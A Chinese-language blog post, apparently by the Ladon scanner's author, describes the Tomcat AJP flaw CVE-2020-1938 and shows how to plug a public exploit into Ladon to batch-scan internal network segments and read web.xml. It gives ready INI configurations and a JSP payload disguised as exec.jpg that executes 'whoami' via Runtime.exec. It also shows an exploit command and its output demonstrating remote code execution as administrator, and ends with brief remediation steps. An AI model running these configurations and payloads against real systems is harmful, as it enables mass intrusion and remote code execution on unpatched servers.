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<h1 id="Ladon CVE-2020-1938跨网段、C段批量扫描内网漏洞">
Ladon CVE-2020-1938跨网段、C段批量扫描内网漏洞
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<h3 id="漏洞信息"><a href="#漏洞信息" class="headerlink" title="漏洞信息"></a>漏洞信息</h3><p>根据国家信息安全漏洞共享平台(CNVD)20日发布的Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。</p>
<h3 id="漏洞编号"><a href="#漏洞编号" class="headerlink" title="漏洞编号"></a>漏洞编号</h3><p>cnvd-2020-10487<br>cve-2020-1938</p>
<h3 id="漏洞条件"><a href="#漏洞条件" class="headerlink" title="漏洞条件"></a>漏洞条件</h3><p>开放AJP端口(默认开放8009)</p>
<h3 id="漏洞版本"><a href="#漏洞版本" class="headerlink" title="漏洞版本"></a>漏洞版本</h3><p>apache tomcat 6<br>apache tomcat 7 < 7.0.100<br>apache tomcat 8 < 8.5.51<br>apache tomcat 9 < 9.0.31</p>
<h3 id="扫描框架"><a href="#扫描框架" class="headerlink" title="扫描框架"></a>扫描框架</h3><p>Ladon设计的初衷就是一个多线程扫描框架,主要是为了让使用者能快速批量检测企业内部或外部站点漏洞<br>不管你擅长哪一门语言,只需要实现单一功能,都可以快速进行批量IP、批量URL、批量C段、批量B段等等<br>每当公开或泄露一个新漏洞时,自己要实现多现程以及批量以上功能,重写一份浪费时间,可能会错过时机<br>小内网可能自己写个批量IP.TXT就够用了,但是大的内网几百几千个网段就基本没有工具考虑,如批量C段<br>但是不要慌,无论是多线程,还是批量C段、跨网段等等,Ladon全都帮你考虑好了,只需实现单一功能即可<br>在Ladon的插件中配置INI方式是不需要具备编程能力的,只要会使用工具,即可实现批量调用,非常简单</p>
<h3 id="Ladon配置"><a href="#Ladon配置" class="headerlink" title="Ladon配置"></a>Ladon配置</h3><p>INI配置很简单,只需要两个参数即可。Github上随便找一份EXP,以下我用的是PYTHON版。<br>两种配置方式,一种是编译成EXE丢到目标上运行的,一种是PY脚本方式执行方便本地调式</p>
<h4 id="EXE配置"><a href="#EXE配置" class="headerlink" title="EXE配置"></a>EXE配置</h4><p>cve-2020-1938.ini</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[Ladon]</span><br><span class="line">exe=CVE-2020-1938.exe</span><br><span class="line">arg=-p 8009 -f /WEB-INF/web.xml <span class="variable">$ip</span>$ -c 0</span><br></pre></td></tr></table></figure>
<h4 id="PY配置"><a href="#PY配置" class="headerlink" title="PY配置"></a>PY配置</h4><p>cve-2020-1938.ini</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[Ladon]</span><br><span class="line">exe=f:\python\python.exe</span><br><span class="line">arg=CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml <span class="variable">$ip</span>$ -c 0</span><br></pre></td></tr></table></figure>
<h3 id="批量内网"><a href="#批量内网" class="headerlink" title="批量内网"></a>批量内网</h3><p>把开放8009端口的IP放进ip.txt,执行以下命令即可批量扫描<br>当然也可以不扫端口和不扫存活IP,直接ip24.txt扫描批量C段</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Ladon cve-2020-1938.ini</span><br></pre></td></tr></table></figure>
<p>以下为内网实战批量检测结果<br><img alt="img" data-original="https://k8gege.org/k8img/Ladon/exp/CVE-2020-1938.png"></p>
<h3 id="文件包含RCE"><a href="#文件包含RCE" class="headerlink" title="文件包含RCE"></a>文件包含RCE</h3><p>一定条件下可实现RCE,如有地方实现文件上传,往目标传个exec.jpg,内容如下,执行whoami</p>
<figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><%out.println(<span class="keyword">new</span> java.io.BufferedReader(<span class="keyword">new</span> java.io.InputStreamReader(Runtime.getRuntime().exec(<span class="string">"whoami"</span>).getInputStream())).readLine());%></span><br></pre></td></tr></table></figure>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">python CVE-2020-1938.py -p 8009 -f exec.jpg 192.168.1.10 -c 1</span><br><span class="line">Getting resource at ajp13://192.168.1.10:8009/index.jsp</span><br><span class="line">----------------------------</span><br><span class="line">k82003-77562e10\administrator</span><br></pre></td></tr></table></figure>
<h3 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h3><h4 id="1-更新到安全版本"><a href="#1-更新到安全版本" class="headerlink" title="1.更新到安全版本"></a>1.更新到安全版本</h4><p>Apache Tomcat 7.0.100<br>Apache Tomcat 8.5.51<br>Apache Tomcat 9.0.31</p>
<h4 id="2-关闭AJP服务"><a href="#2-关闭AJP服务" class="headerlink" title="2.关闭AJP服务"></a>2.关闭AJP服务</h4><p>修改Tomcat配置文件Service.xml,注释掉<br><connector port="8009" protocol="AJP/1.3" redirectport="8443"></connector></p>
<h4 id="3、配置ajp配置"><a href="#3、配置ajp配置" class="headerlink" title="3、配置ajp配置"></a>3、配置ajp配置</h4><p>配置ajp配置中的secretRequired跟secret属性来限制认证</p>
<h3 id="下载"><a href="#下载" class="headerlink" title="下载"></a>下载</h3><p><a href="https://github.com/k8gege/Ladon" target="_blank" rel="noopener">https://github.com/k8gege/Ladon</a></p>
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<ol class="toc"><li class="toc-item toc-level-3"><a class="toc-link" href="#漏洞信息"><span class="toc-text">漏洞信息</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#漏洞编号"><span class="toc-text">漏洞编号</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#漏洞条件"><span class="toc-text">漏洞条件</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#漏洞版本"><span class="toc-text">漏洞版本</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#扫描框架"><span class="toc-text">扫描框架</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Ladon配置"><span class="toc-text">Ladon配置</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#EXE配置"><span class="toc-text">EXE配置</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#PY配置"><span class="toc-text">PY配置</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#批量内网"><span class="toc-text">批量内网</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#文件包含RCE"><span class="toc-text">文件包含RCE</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#漏洞修复"><span class="toc-text">漏洞修复</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#1-更新到安全版本"><span class="toc-text">1.更新到安全版本</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#2-关闭AJP服务"><span class="toc-text">2.关闭AJP服务</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#3、配置ajp配置"><span class="toc-text">3、配置ajp配置</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#下载"><span class="toc-text">下载</span></a></li></ol>
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<script>
var tagOption = {
textColour: '#444', // 字体颜色
outlineMethod: 'block', // 选中模式
outlineColour: '#FFDAB9', // 选中模式的颜色
interval: 30 || 30, // 动画帧之间的时间间隔,值越大,转动幅度越大
textHeight: 13,
outlineRadius: 3,
freezeActive: true || '', // 选中的标签是否继续滚动
frontSelect: true || '', // 不选标签云后部的标签
initial: [0.1, -0.1],
depth: 0.5,
decel: 0.95,
maxSpeed: 0.03,
reverse: true || '', // 是否反向触发
fadeIn: 500, // 进入动画时间
wheelZoom: false || '' // 是否启用鼠标滚轮
}
TagCanvas.Start('tag-cloud-3d', '', tagOption);
</script>
<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<script src="/js/app.js?rev=@@hash.js"></script>
</body>